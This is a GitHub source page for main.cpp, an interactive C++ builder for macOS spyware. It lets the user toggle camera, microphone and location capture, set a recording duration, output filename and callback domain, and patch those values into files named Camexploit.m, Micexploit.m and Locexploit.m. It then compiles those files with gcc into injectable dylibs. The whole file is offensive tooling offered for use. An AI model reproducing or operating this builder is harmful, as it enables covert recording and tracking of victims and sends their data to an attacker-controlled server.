-
Notifications
You must be signed in to change notification settings - Fork 5
/
Copy pathmain.cpp
142 lines (133 loc) · 5.93 KB
/
main.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
#include <iostream>
#include <string>
#include <cctype>
#include <fstream>
#include <sstream>
bool isNumber(const std::string& str) {
for (char const &c : str) {
if (!std::isdigit(c)) return false;
}
return true;
}
void compileAndExport(const std::string &libraryName) {
std::string compileCommand;
if (libraryName == "Camera") {
compileCommand = "gcc -dynamiclib -framework Foundation -framework AVFoundation ./libs/Camexploit.m -o ./Exports/Cam.dylib";
} else if (libraryName == "Microphone") {
compileCommand = "gcc -dynamiclib -framework Foundation -framework AVFoundation ./libs/Micexploit.m -o ./Exports/Micexploit.dylib";
} else if (libraryName == "Location") {
compileCommand = "gcc -dynamiclib -framework Foundation -framework CoreLocation -framework AVFoundation ./libs/Locexploit.m -o ./Exports/Locexploit.dylib";
}
int result = system(compileCommand.c_str());
if (result == 0) {
std::cout << libraryName << " compilation successful. Exported to ./Exports folder.\n";
} else {
std::cerr << libraryName << " compilation failed. Please check the source code.\n";
}
}
void updateFileContent(const std::string& filePath, const std::string& timeInSeconds, const std::string& outputFilename, const std::string& domainName) {
std::ifstream file(filePath);
std::ostringstream tempStream;
std::string line;
while (std::getline(file, line)) {
if (line.find("[NSThread sleepForTimeInterval:") != std::string::npos) {
tempStream << "[NSThread sleepForTimeInterval:" << timeInSeconds << ".0];\n";
} else if (line.find("[NSTemporaryDirectory() stringByAppendingPathComponent:@\"file_name\"]") != std::string::npos) {
tempStream << "NSString *outputFilePath = [NSTemporaryDirectory() stringByAppendingPathComponent:@\"" << outputFilename << "\"];\n";
} else if (line.find("[request setURL:[NSURL URLWithString:@\"http://a.com\"]]") != std::string::npos) {
tempStream << "[request setURL:[NSURL URLWithString:@\"" << domainName << "\"]];\n";
} else {
tempStream << line << "\n";
}
}
file.close();
std::ofstream outFile(filePath);
outFile << tempStream.str();
outFile.close();
}
int main() {
bool camera = false;
bool microphone = false;
bool location = false;
std::string timeInSeconds;
std::string outputFilename;
std::string domainName;
while (true) {
std::cout << "Select options by entering the number:\n";
std::cout << "1. Toggle Camera (" << (camera ? "Selected" : "Not Selected") << ")\n";
std::cout << "2. Toggle Microphone (" << (microphone ? "Selected" : "Not Selected") << ")\n";
std::cout << "3. Toggle Location (" << (location ? "Selected" : "Not Selected") << ")\n";
std::cout << "4. Set Time In Second for Recording (" << timeInSeconds << ")\n";
std::cout << "5. Set Output Filename (" << outputFilename << ")\n";
std::cout << "6. Set Domain Name (" << domainName << ")\n";
std::cout << "7. Export\n";
std::cout << "8. Exit\n";
std::cout << "> ";
int choice;
std::cin >> choice;
std::cin.ignore(std::numeric_limits<std::streamsize>::max(), '\n'); // clear the buffer
switch (choice) {
case 1:
camera = !camera;
break;
case 2:
microphone = !microphone;
break;
case 3:
location = !location;
break;
case 4:
if (camera || microphone) {
std::cout << "Enter time in seconds: ";
std::getline(std::cin, timeInSeconds);
if (!isNumber(timeInSeconds)) {
std::cout << "Invalid input! Please enter a valid number for time.\n";
timeInSeconds = "";
}
} else {
std::cout << "You need to select Camera or Microphone first!\n";
}
break;
case 5:
if (camera || microphone) {
std::cout << "Enter output filename: ";
std::getline(std::cin, outputFilename);
} else {
std::cout << "You need to select Camera or Microphone first!\n";
}
break;
case 6:
std::cout << "Enter domain name (including http:// or https://): ";
std::getline(std::cin, domainName);
break;
case 7:
if (!camera && !microphone && !location) {
std::cout << "Please select at least one option!\n";
} else if ((camera || microphone) && (timeInSeconds.empty() || outputFilename.empty() || domainName.empty())) {
std::cout << "Please fill in all required fields!\n";
} else if ( location && domainName.empty()) {
std::cout << "Please fill in all required fields!\n";
} else {
if (camera) {
updateFileContent("./libs/Camexploit.m", timeInSeconds, outputFilename, domainName);
compileAndExport("Camera");
}
if (microphone) {
updateFileContent("./libs/Micexploit.m", timeInSeconds, outputFilename, domainName);
compileAndExport("Microphone");
}
if (location) {
updateFileContent("./libs/Locexploit.m", timeInSeconds, outputFilename, domainName);
compileAndExport("Location");
}
}
break;
case 8:
return 0;
default:
std::cout << "Invalid choice. Please try again.\n";
break;
}
}
return 0;
}